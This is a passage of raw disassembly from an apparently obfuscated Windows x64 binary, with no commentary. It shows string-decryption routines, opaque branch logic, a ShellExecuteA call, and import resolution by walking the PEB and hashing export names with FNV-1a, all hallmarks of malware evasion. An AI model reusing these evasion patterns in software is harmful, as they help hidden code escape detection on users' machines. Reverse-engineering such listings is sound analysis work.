lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401130fa
lea rbx, [r10 + 9]
lea r10, [rbx + 1]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1401136f4
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401136cd
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x140113046
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140113020
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140112ff9
lea rbx, [r10 + 0x10]
lea r10, [rbx + 3]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401130d7
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401130c3
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401130a0
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x14011307d
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140113069
lea rbx, [r10 + 0x28]
lea r10, [rbx + 5]
jmp 0x140112f18
movabs rdx, 0x207dc9f10de0ce3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112f0b
movabs rdx, 0x1321bbfc51d2854a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 6
add dil, dl
jmp 0x140112eac
movabs rcx, 0x5c5ae0795c43c56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x140112e3c
movabs rdx, 0x2cc45c7ac476cc40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401135e9
movabs rcx, 0x1f684e860868834c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x1401135ff
movabs rdx, 0x120c40914c5a3a58
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x68
jmp 0x1401134f7
movabs rdx, 0x4b0329c904bf164
mov ecx, Ordinal_35
jmp 0x14011329c
movabs rcx, 0xf75424a7d43da870
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401136b6
movabs rdx, 0x14373767574ad03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1401135e9
movabs rdx, 0x6db29729b3c8748
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14011349c
movabs rcx, 0xf97f1b7ddf2e3e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x1401135d2
movabs rdx, 0xec230d89231ff560
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401135cf
movabs rdx, 0xdec6ff946711ac6c
mov ecx, 6
jmp 0x140113574
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x140113258
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
lea rax, [rbx + r10]
cmp rax, 0x200
je 0x1401134d0
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14011332e
movabs rcx, 0x1777a9a867b3b112
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
cmp rbx, 0x400
jae 0x140113478
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x1401133be
movabs rdx, 0x23be3c321e49af14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x61
jb 0x14011346b
movabs rcx, 0xa956c7c176d8889c
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401135a7
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140113284
movabs rcx, 0x188d25136d2bfc04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x1401136b6
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401132b4
movabs rdx, 0x25e93308293a44f8
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140113665
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401132d1
movabs rdx, 0x4dfd5ce65d651fd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1401135e9
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401132fd
movabs rcx, 0x5b596adb197368c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1401134a2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401131af
movabs rcx, 0x68b578cfd581b1bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x1401135d2
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14011335a
movabs rcx, 0x24d3b79d23c1fa06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2a
jmp 0x1401135a7
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011338a
movabs rdx, 0x3f8bd3869bde8bee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401135d2
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401131ea
movabs rdx, 0x679ffd64d00966ca
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401135ff
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401133ea
movabs rcx, 0x311a4a26da57f808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1401136b6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011341a
movabs rdx, 0x4bd26610527489f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140113631
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14011344a
movabs rdx, 0x8e9eabd7febbf6b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401135cf
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140113226
movabs rdx, 0x9bfab9ccbaca3fa8
mov ecx, 0x34
jmp 0x140113574
mov byte [rbp + r9 + 0x2a0], dil
jmp 0x1401136c5
movabs rdx, 0xb6b2d5b632e6d190
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x2a0]
add dil, dl
add dil, r8b
movabs rdx, 0x3d60dcb090edf60a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, dil
sub cl, al
sub cl, 0x46
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2a0], cl
jmp 0x1401135fc
movabs rdx, 0xc40ee3aaeef51a84
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x2a0]
add dil, r8b
add dil, dl
jmp 0x140113631
movabs rcx, 0x8483102453168e96
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x1401136b6
movabs rcx, 0x4f12d85162dd6ac6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1401135fc
movabs rcx, 0x345abc67eac0d8de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x1401135d2
movabs rdx, 0x19a2a07e72a446f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401135a7
movabs rcx, 0xfeea8494fa87b50e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
movabs rdx, 0x3004cebbd4dfad16
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2a0], cl
add r10, r14
sub r9, r14
jmp 0x1401136c5
movabs rdx, 0xc97a4cc20a4e913e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401136c5
mov r8, rdx
movabs rcx, 0xaec230d89231ff56
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x5a
movabs rdx, 0x4abceaa54cfc3efe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x2a0], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0xd16af19fab036378
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r9 + 0x2a0], r8b
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401136b6
movabs rcx, 0x940a14ef1a156d6e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 2
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r10
add r9, rax
add r9, r14
jmp 0x140112e29
movabs rdx, 0xf869a012d9b5f362
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112e26
movabs rcx, 0xeb0d921e1da7aa6e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 2
jmp 0x140112e16
lea rdx, [rbp + 0x14c8498]
jmp 0x140113731
lea rdx, [rbp + 0x93a912]
jmp 0x140113731
lea rdx, [rbp + 0x2a0]
mov dword [rsp + 0x28], r14d
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x1401138a8
xor edi, edi
mov esi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r15, r10
movups xmm0, xmmword [r10 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test edi, edi
je 0x1401137c3
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401137b6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401137a7
cmp edx, edi
jne 0x14011388c
mov r9, qword [r10 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14011388c
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14011388c
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140113815
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011380a
cmp edx, esi
je 0x140113829
test ebx, ebx
jne 0x1401137f6
jmp 0x14011388c
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x1401138a1
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401138a1
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
mov r14d, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140113880
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r14
jmp 0x14011385f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r14
mov al, byte [rdx]
test al, al
jne 0x140113875
mov r10, qword [r15]
mov r10, qword [r10]
cmp r10, r15
je 0x14011389f
cmp qword [r10 + 0x30], 0
jne 0x140113776
xor edx, edx
mov qword [0x1404fc118], rdx
mov ebx, 0x99
mov ecx, ebx
call rdx
mov qword [0], rbx
lea rcx, [rbp + 0x1170]
call fcn.14008b590
mov r15d, 8
mov rcx, r12
call fcn.14007b1f0
mov byte [rbp + 0x630], 0xfb
mov byte [rbp + 0x631], Ordinal_79
mov byte [rbp + 0x632], Ordinal_211
mov byte [rbp + 0x633], 0x43
mov byte [rbp + 0x634], 0xda
mov byte [rbp + 0x635], 0x41
mov byte [rbp + 0x636], Ordinal_211
mov byte [rbp + 0x637], 0x47
mov byte [rbp + 0x638], Ordinal_211
mov byte [rbp + 0x639], 0x45
mov byte [rbp + 0x63a], 0x9b
mov byte [rbp + 0x63b], Ordinal_60
mov byte [rbp + 0x63c], 0xae
mov byte [rbp + 0x63d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x63e], 0x9b
mov byte [rbp + 0x63f], 0x3f
mov byte [rbp + 0x640], 0x90
mov byte [rbp + 0x641], 0x3d
mov byte [rbp + 0x642], 0x99
mov byte [rbp + 0x643], gethostname
mov byte [rbp + 0x644], 0xa9
mov byte [rbp + 0x645], Ordinal_50
mov byte [rbp + 0x646], 0xa4
mov byte [rbp + 0x647], Ordinal_60
mov byte [rbp + 0x648], 0xa0
mov byte [rbp + 0x649], gethostname
mov byte [rbp + 0x64a], 0xbf
mov byte [rbp + 0x64b], Ordinal_46
mov byte [rbp + 0x64c], 0xba
mov byte [rbp + 0x64d], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x64e], Ordinal_143
mov byte [rbp + 0x64f], Ordinal_50
mov byte [rbp + 0x650], 0xba
mov byte [rbp + 0x651], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x652], 0xe8
mov byte [rbp + 0x653], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x654], 0xf4
mov byte [rbp + 0x655], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x656], Ordinal_41
mov byte [rbp + 0x657], Ordinal_41
xor eax, eax
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x660], eax
movabs rsi, 0xe0e48beb0e6d69b6
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
xor r10d, r10d
lea r12d, [r10 + 1]
cmp r10, 0x34
jae 0x140114282
movzx r8d, byte [rbp + r10 + 0x630]
mov r11d, r8d
cmp rbx, r10
ja 0x140114279
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140113a62
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 6
jmp 0x140113a9c
je 0x1401141e9
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140114168
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140114130
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401140e1
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401140b4
cmp r9, r10
ja 0x140114270
lea rax, [r9 + 0x5a]
cmp rbx, rax
jae 0x140113ad3
movabs rcx, 0x72bf7a482ef9abee
add rcx, r10
mov al, r8b
and al, cl
mov edi, 0x3f
sub dil, al
add dil, dil
add dil, r8b
add dil, cl
jmp 0x140113b07
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140114069
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140114049
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140114025
lea rax, [r9 + 7]
cmp rbx, rax
je 0x140114002
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x140113d3f
lea rax, [r9 + 0x2a]
cmp rbx, rax
je 0x140113d1c
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140113cf8
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140113cd4
mov rbx, rax
lea r9, [rax + 8]
lea rax, [r9 + 8]
cmp rbx, rax
jb 0x140114249
lea rax, [r9 + 0x41]
cmp rbx, rax
jb 0x140114222
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x140113c0d
lea rbx, [r9 + 5]
lea r9, [rbx + 5]
lea rax, [r9 + 5]
cmp rbx, rax
ja 0x140113be7
lea rax, [r9 + 0x61]
cmp rbx, rax
ja 0x140113bc1
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140113b9b
mov rbx, rax
lea r9, [rax + 0x28]
jmp 0x140113b14
movabs rcx, 0xd432ba6b5af28c04
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1c
add dil, cl
jmp 0x1401140d6
movabs rcx, 0xcd0e5b12e7873e54
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, cl
jmp 0x140114155
movabs rcx, 0x87b3139090f6c410
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x70
add dil, cl
jmp 0x14011420b
movabs rcx, 0xdde11076f243393e
add rcx, r10
mov al, cl
and al, r8b
mov edi, Ordinal_41
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 4
je 0x140113fd9
lea rax, [r9 + 4]
cmp rbx, rax
jbe 0x140113e24
movabs rdx, 0x967557027012305e
add rdx, r10
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x20
jae 0x140113fb0
lea rax, [r9 + 0x20]
cmp rbx, rax
jbe 0x140113edb
movabs rcx, 0x934d14a9f0bdc4c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
cmp r9, 0xa
jb 0x140113fa3
movabs rdx, 0x9b0fbfa7bf981e84
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x38]
jmp 0x14011408a
movabs rdi, 0xb07cddb119da0794
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0xc
add dil, r8b
jmp 0x14011420b
movabs rcx, 0xa9587e58a66eb9e4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3c
jmp 0x140114152
movabs rdx, 0xa2341f0033036c34
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6c
jmp 0x140114087
lea rax, [r9 + 6]
cmp rbx, rax
jae 0x140113d66
lea rdx, [r10 + rsi]
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140113c30
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140113d93
movabs rcx, 0xe57ef4905df357dc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 4
jmp 0x14011420b
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140113dc0
movabs rdx, 0x6911243c97a8feb4
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140114187
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140113df0
movabs rdx, 0xae6c6bbeee3978f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140114103
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140113c30
movabs rdx, 0x703583950b144c64
mov ecx, Ordinal_35
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401140d9
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140113e51
movabs rdx, 0x583e6ed88ced03ca
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140114087
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140113e7e
movabs rcx, 0xdbd09e84c6a2aaa2
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6e
jmp 0x1401140d9
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140113eab
movabs rcx, 0x212be6071d3324e6
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4a
jmp 0x140114155
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140113c6d
movabs rcx, 0x66872d8973c39f2a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x26
jmp 0x14011420b
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140113f07
movabs rcx, 0xcafde920bbe6afb8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x14011420b
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140113f35
movabs rdx, 0x4e9018ccf59c5690
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011418a
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140113f52
movabs rdx, 0x93eb604f4c2cd0d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1401140f0
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140113f6f
movabs rdx, 0x55b478256907a440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140113e0c
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140113ca2
movabs rdx, 0xd946a7d1a2bd4b18
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011408a
mov byte [rbp + r10 + 0x630], dil
jmp 0x14011421a
movabs rdx, 0x5cd8d77ddc72f1f0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r10 + 0x630]
jmp 0x1401140fd
movabs rdx, 0x1ea1ef53f94dc55c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x630]
jmp 0x140113db8
movabs rdx, 0xbf3f2122f8f573e2
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2e
jmp 0x140114187
movabs rcx, 0xfd76094cdc1aa076
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3a
jmp 0x140114155
movabs rcx, 0xb81ac1ca858a2632
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5e
jmp 0x1401140d9
movabs rdx, 0x3488921e4bd47f5a
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x76
add dil, dl
movabs rdx, 0x7bf44b92ce05883a
add rdx, r10
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0x630], cl
jmp 0x1401140d6
movabs rdx, 0xef2d4a9bf5440516
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add r9, r12
sub r10, r12
jmp 0x14011421a
movabs rdx, 0x6b9b1aefbb8e5e3e
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x3dbd6368eae05ba6
add rcx, r10
mov al, cl
and al, r8b
mov edx, Ordinal_60
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0x630], dl
jmp 0x140114152
movabs rdx, 0xa9d203199eb38ad2
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011421a
movabs rdx, 0x263fd36d64fde3fa
add rdx, r10
mov al, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0xff867b3f07bb2f12
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7e
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x630], al
add r9, r12
add rax, r9
sub r10, rax
movabs rcx, 0xe06b072a162898c8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x78
add cl, r8b
mov byte [rbp + r10 + 0x630], cl
add rbx, r12
sub r10, rbx
sub r10, r12
jmp 0x14011420b
movabs rdx, 0xa2ada3c12b483d22
add rdx, r10
mov al, r11b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x630]
add rax, r9
add r10, rax
add r10, r12
jmp 0x140113a20
movabs rdx, 0xd6bcb11e7ed7eb8e
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140113a19
movabs rdx, 0x14f3994861fd1822
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140113a09
lea r15, [rbp + 0x1430c78]
jmp 0x140114289
lea r15, [rbp + 0xb0762e]
jmp 0x140114289
lea r15, [rbp + 0x630]
mov qword [rsp + 0x58], r15
mov r10, qword [0x1404fc110]
test r10, r10
jne 0x1401143f7
xor edi, edi
mov esi, 0xfbf688c6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
lea r15d, [r10 + 8]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd ecx, xmm0
sub cx, r15w
mov word [rsp + 0x60], cx
test edi, edi
je 0x14011430a
mov rdx, qword [rsp + 0x68]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
jmp 0x1401142fc
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1401142eb
cmp r8d, edi
jne 0x1401143e3
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1401143e3
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401143e3
mov r14d, dword [r11 + 0x20]
dec ebx
lea r8, [r9 + rbx*4]
mov r10d, dword [r8 + r14]
add r10, r9
mov r8d, 0x811c9dc5
jmp 0x14011435f
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
add r10, r12
test dl, dl
jne 0x140114352
cmp r8d, esi
je 0x140114374
test ebx, ebx
jne 0x14011433d
jmp 0x1401143e3
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401143eb
lea rax, [r11 + rcx]
cmp r10, rax
jae 0x1401143eb
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401143b4
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x1401143a6
jmp 0x1401143c8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
